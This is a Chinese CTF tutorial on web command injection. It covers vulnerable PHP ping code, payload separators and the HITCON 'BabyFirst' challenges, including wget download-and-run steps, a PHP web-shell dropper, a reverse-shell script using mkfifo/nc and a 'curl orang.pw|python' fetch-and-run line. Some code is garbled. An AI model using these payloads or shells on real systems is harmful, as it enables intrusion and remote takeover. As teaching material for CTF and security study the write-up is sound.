CTF-web--命令注入

大佬總結的文章,本篇文章閱讀時間大約30分鐘。
一 、基本原理
命令注入指的是,利用沒有驗證過的惡意命令或代碼,對網站或服務器進行滲透攻擊。
注入有很多種,并不僅僅只有SQL注入。比如:
命令注入(Command Injection)Eval 注入(Eval Injection)客戶端腳本攻擊(Script Insertion)跨網站腳本攻擊(Cross Site Scripting, XSS)SQL 注入攻擊(SQL injection)動態函數注入攻擊(Dynamic Variable Evaluation)序列化注入&對象注入
這種題目又哪些常見的,一個是我們常用的文件包含,我們是可以使用system等函數的,或者是php函數,應該也屬于命令注入的范疇。
類似于 ?url=php://input postdata =
sql注入在我看來也是輸入命令注入的范疇的,讓數據庫執行我們的惡意代碼
但是本章節主要講的和例題涉及的,實際上是執行命令的一些trick,例如在linux系統的命令的分段,命令的一些特殊用法,關于文件包含,sql注入等的我們前面也有專題了,這里就不會涉及多少。

二:漏洞代碼審計
php、java、python中常見的可以進行命令注入或者代碼注入的函數:
(1)在PHP中常用到以下幾個函數來執行外部命令: system exec passthru shell_exec(2)python的: -*-command:system\popen\subprocess.call\spawn -*-code: map\filter\reduce\... # python 函數名可以直接作為普通函數的參數的,理論上,如果定義了這樣的函數都危險def myreduce(funcname,param): return funcname(param) (3)java的: -*-command:java.lang.Runtime.getRuntime().exec(command) _*_code:不太懂java,這方面的接觸實在不多。
所以接下來,要尋找哪個文件使用了這幾個函數,并進行分析。
在代碼審計中:我們先對函數名進行搜索
我們對函數名進行搜索,右鍵點擊www目錄,在彈出來的菜單上選擇find in folder,這個是查找整個文件夾的意思,然后我們在下方彈出的框內輸入第一個敏感函數:system,點擊Find,這時,編輯器就會查找WWW目錄下所有內容里面有system的文件。


可以看到,在variables文件里有system函數,但它的功能只是讓我們自定義網絡,對本次試驗無意義,因此我們查看下一個函數exec。
用同樣的方法搜索exec函數:

打開文件后可以看到,只有19到30行左右為PHP代碼,其他均為HTML,因此核心代碼應該為第19行到30行,如下
<?php if( isset( $_POST[ 'submit' ] ) ) { $target = $_POST[ 'target' ]; if (stristr(php_uname('s'), 'Windows NT')) { $cmd = 'ping ' . $target; } else { $cmd = 'ping -c 3 ' . $target; } $res = shell_exec( $cmd ); echo "
$cmd\r".iconv('GB2312', 'UTF- 8',$res)."
"; }?>
這段代碼的功能是,使用ping命令,ping用戶輸入的ip。
接下來大概分析一下這段代碼的大意:
首先通過isset函數判斷是否為POST提交過來的值,接下來將POST過來的值傳遞給target變量,但是沒有經過任何的過濾,接下來使用if判斷系統是否為windows,如果是則給cmd賦值為ping target,如果不是則賦值為ping -c 3 target。最后使用shell_exec執行cmd。
我們從上面的代碼中可以得到兩點可能產生漏洞的地方:
POST過來的數據,沒有經過任何的過濾。>* 使用shell_exec函數執行了我們傳遞過來的POST值。
這便是漏洞所在的地方,我們可以在ip后面添加|符,讓它執行完ping命令后,繼續執行我們在|符號后添加的字符,其中|:是or的意思,執行完ping命令,因為有|的存在,系統就會繼續執行后面的命令。

三、漏洞挖掘:
1、在請求中出現的位置:
(1)POST和GET參數中
(2)URL的filepath或者filename中(類似thinkphp的偽靜態,或者python的url_for構造的一類)
2、特殊的OS命令注入經常會出現在的業務位置:
1、系統web管理界面的系統信息配置點:hostname、ipaddress、netmask、gateway、dnsserver、email等。
2、功能類網站工具:ping、tracert、nslookup等
3、文件查找或者操作功能:find、locate等
4、系統信息查看類功能:cpuinfo、meminfo等
5、關閉重啟類操作、shutdown、ifconfig up、reboot、poweroff等

四、常用payload模式:
1、| ,& ,&&,||等操作
& 表示先執行CMD1 再執行CMD2,這里不考慮CMD1是否成功。使用CMD1 & CMD2&& 表示先執行CMD1,成功后再執行CMD,否則不執行CMD2。使用CMD1 && CMD2|| 先執行CMD1,CMD1執行成功就不再執行CMD2,CMD1執行失敗則執行CMD2。使用CMD1 || CMD2
2、payload(& / ‘ “ 空格等特殊符號需要時編碼)
cmd = 127.0.0.1 | whoamicmd = 127.0.0.1 & whoamicmd = 127.0.0.1 && whoamicmd = `whoami`cmd = '/"|whoami(這里意思是用'/"引號閉合前面 /->表示或)
3、常用的命令
有回顯的:whoami id(驗證類)沒有回顯的:nslookup wget 等看請求、dnslog httplog等 (驗證類)彈shell必須的,參考我自己的(http://www.cnblogs.com/KevinGeorge/p/8120226.html)
4、代碼注入:
php的:檢測phpinfo();攻擊代碼任意。python的:import time;time.sleep(20),攻擊代碼任意。java的:我是弱雞想不到啊。2018.8.5補充:$() 會將里面的字符當做命令執行 支持使用一定的編碼 echo $(print(xxxxxxx))` ` 反引號中的也會當命令執 ping ‘whoami’
五、防御:
禁止相關函數過濾輸入制定可輸入內容

六、CTF 例題
讓人吃驚的是,做這個題目需要我們有一定的linux基礎,感覺它使用了一些命令的不常見用法。
1.Babyfirst
highlight_file(__FILE__); $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']; if ( !file_exists($dir) ) mkdir($dir); chdir($dir); $args = $_GET['args']; for ( $i=0; $i if ( !preg_match('/^\w+$/', $args[$i]) ) exit(); }
exec("/bin/orange " . implode(" ", $args));?>
大概的意思就是執行url傳過來的參數,先使用【空格】拼接后執行,那么我們可以構造參數如下:
http://localhost/?args[0]=x%0a //%0a為換行的意思&args[1]=mkdir&args[2]=orange%0a //創建目錄&args[3]=cd&args[4]=orange%0a //進入目錄&args[5]=wget&args[6]=846465263%0a //獲取文件 http://localhost/?args[0]=x%0a&args[1]=tar&args[2]=cvf&args[3]=aa&args[4]=orange%0a //解壓文件&args[5]=php&args[6]=aa //運行文件
這其中有幾個要點
(1)發現WGET仍然支持通過它的長號碼格式來解析IP主機。這意味著我們使用http://92775836/是可以的
(2)尋找不需要破折號的命令,想到了tar,如果我們可以將一個非壓縮存檔傳遞給PHP解釋器就很完美了
//我們的需要是這樣的mkdir exploitcd exploitwget 92775836tar cvf archived exploitphp archived
//"exploit"大概是這么樣的 :file_put_contents('shell.php', ' header("Content-Type: text/plain"); print shell_exec($_GET["cmd"]); ?>');?>
2. BabyFirst Revenge
進一步的我們換成了另外一種形式,并加強每次只能傳輸<=5個字符,這時候就又有新的知識可以學習了.首先看一下代碼
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);?>
了解一下以下的有關知識,看看是否有思路。
(1)ls>a 將目錄寫進a文件 ls>>a 追加的形式寫(注意排序問題,按照順序寫的)
(2)shell中可以使用\連接一行中沒打完的語句
echo\ "chy\beta" //這是可以正常使用的
(3)錯誤語句不會影響下面正確語句的執行
-t\>qa //這之前的命令雖然是錯的,但不會影響l\s \-t\>q //實際輸出的命令為 ls -t>q
綜上,我們需要做的就是將命令寫進文件,使用\來連接不同行,然后執行文件就可以。但是問題出現了,我們控制不了文件的順序,使得寫入文件時的順序不會是按照我們想的順序,如果能按照時間排序就很完美了,當然ls -t就是這個功能,我們需要把它寫進一個文件里,方便接下來調用。
例如想要ls -t>g(我們將這個命令寫入文件a),我們創建了ls\, ,-t\ ,>g\,我們有這四個文件了,調用命令ls>a 將目錄寫進a文件,發現...a里面的命令實際是亂的。
那么要求我們不需要考慮是否存在不可用命令,將創建的文件夾可以排成我們想要的順序,看看大佬的順序是如何弄的(環境不一樣,可能結果不一樣)
>-t\>\>q>l\>s\ \ls>als>>a

ls>a之后 文件內容為

在ls>>a 得到的結果為

我們看到第四個到第七個組成了ls -t>q,前面的錯誤指令不用考慮。
接下來的下一個任務,從指定url下載文件,將IP轉換為10進制,然后由于ls -t是新文件排在前,我們需要倒序創建文件(wget 2077173*48),需要創建的順序為
>*48>173\>077\>\ 2\>et\>wg\
接著執行命令sh a,注意文件a是我們第一階段時生成的,其中包含命令ls -t>q。運行完后查看新生成的文件q:

接下來執行命令sh q就可以下載文件了。接下來,需要不斷的進行探索flag的所在地。可以按照下述命令來實現命令的執行:
?cmd=rm%20i* // 刪除index.html?cmd=sh%20a // 執行文件q,即wget新的index.html?cmd=sh%20i* // 執行index.html中的shell命令
找到在一個主目錄下有一個readme.txt
Flag is in the MySQL databasefl4444g / SugZXUtgeJ52_Bvr
接下去通過替換index.html的內容。不斷地將sql查詢語句寫到文件里并訪問,最后得到flag
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;" > kk5// 訪問:http://52.199.204.34/sandbox/對應md5/kk5, 得到:Databaseinformation_schemafl4gdb
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x666c34676462" > kk7//訪問:http://52.199.204.34/sandbox/對應md5/kk7, 得到:GROUP_CONCAT(table_name)this_is_the_fl4g
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "(SELECT * FROM fl4gdb.this_is_the_fl4g" > kk9//訪問:http://52.199.204.34/sandbox/對應md5/kk9, 得到:secrethitcon{idea_from_phith0n,thank_you:)}
第二位大佬的作品
大佬使用的是xxd命令,通過創建命令的ascii碼將其寫入文件中,然后再執行。大佬采用的方法是幾個幾個的ascii通過>創建文件,然后通過ls>>y將y字符和ascii碼追加到y文件中,每寫進去一個之后就刪除acsii文件,確保每次只追加y和ascii碼。
然后的關鍵點是,創建參數文件>-p >-r 和目標文件>z,當我們使用xxd *命令是,會將-p -r文件當做參數,y當做源文件z當做目的文件,將y中的可acsii反向的數據反向之后持續的輸出到z,實現了我們只保留原始acsii對應的字符,并去除多余的y的功能。大概的原理如下:例如打印hello
>4845 //ascii文件ls>>y //追加到y rm 4* //刪除ascii文件>4c4c //以上的不斷重復ls>>yrm 4*>4fls>>yrm 4* //到此為止 y中的內容為 4845.y.4c4c.y.4f.y. 這里使用.表示換行>z //創建目標文件>-p //創建參數文件>-r //目錄下排序為 -p -r y zxxd * //相當于執行 xxd -p -r y z //將y中的可acsii反向的數據反向之后持續的輸出到z 即為hello 中間的沒用的都被去除了
(另一種方法 直接寫命令的字母,最后的文件名用\ 相當于每次帶有一個\ 拼接命令)
cat\ flag\ .txt\
作者在這個原理的基礎上寫了一個萬能腳本,通過如下創建一個反彈shell
mkfifo f; nc f 2>f
具體實驗中他們使用的腳本是這個樣子的,可以看到使用的原理就是上邊講的那個,通過不斷地字節拼接完成命令組裝,可以執行任意命令,并觀察返回值。
import requests as rqimport hashlib as himport binascii as ba
url = "http://52.199.204.34/"ipify = "https://api.ipify.org"
def get_ip(): r = rq.get(ipify) return r.text
folder = h.md5(b"orange" + get_ip().encode()).hexdigest()
def reset(): rq.get(url, params = { "reset": 1 })
def cmd(c): rq.get(url, params = { "cmd": c })
def read(f): r = rq.get(url + "sandbox/" + folder + "/" + f) if r.status_code == 200: return r.text
def long_cmd(cmd_text): reset() cmd_bytes = cmd_text.encode() for i in range(0, len(cmd_bytes), 2): cur_bytes = cmd_bytes[i:i + 2] print("writing '{}'".format(cur_bytes.decode())) hex_chars = ba.hexlify(cur_bytes).decode() cmd(">" + hex_chars) cmd("ls>>y") cmd("rm " + hex_chars[0] + "*") cmd(">z") cmd(">-p") cmd(">-r") cmd("xxd *") cmd("sh z") return read("o")
def shell(cmd_text): print(long_cmd(cmd_text))
def rshell(host, port): long_cmd("mkfifo f; nc {} {} f 2>f".format(host, port))
查找發現目錄下一個README.txt文件存有flag信息
Flag is in the MySQL databasefl4444g / SugZXUtgeJ52_Bvr
通過腳本執行以下命令,就可以拿到flag
$ mysql -ufl4444g -pSugZXUtgeJ52_Bvrmysql> SHOW DATABASES;Databaseinformation_schemafl4gdbmysql> use fl4gdb;SHOW TABLES;Tables_in_fl4gdbthis_is_the_fl4gmysql> SELECT * FROM this_is_the_fl4g;secrethitcon{idea_from_phith0n,thank_you:)}
3.BabyFirst Revenge v2
題目進一步變難,將字符控制在4個之內
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);?>
對于上邊大佬寫的感覺沒有影響,一個一個弄就好了
--------------------------------未整理-------------------------------
4·命令執行的一些trick
1.>NAME 我們可以創建新的文件
2.ls>name 我們可以吧目錄按順序寫入文件
3.\可以用來銜接多行中的命令(一行一部分,多行拼湊)
4.命令 * 可以將目錄下的文件當做參數,注意文件順序
5.關于反彈shell什么的,還需要多加學習,liunx命令也要知道些
6.一些稀奇古怪的命令和用法
總結
4個trick思路加上重定向和反彈shell知識
trick1 命令組裝 dir a b >ctrick2 通配符的妙用 *v=rev vtrick3 按時間順序排列文件 ls -ttrick4 命令續行
curl orang.pw|python 通過url下載orange中的文件,使用python執行,就可以反彈shell
詳細的trick介紹請點擊連接
https://www.freebuf.com/articles/web/154453.html 因為原文是禁止轉載 請跳轉查看 還是挺深奧的
————————————————
版權聲明:本文為CSDN博主「iamsongyu」的原創文章:原文鏈接:https://blog.csdn.net/iamsongyu/article/details/84483638--------------------------------未整理-------------------------------參考 https://www.cnblogs.com/KevinGeorge/p/8232430.htmlhttps://blog.csdn.net/kuiguowei/article/details/79045215?utm_source=blogxgwz9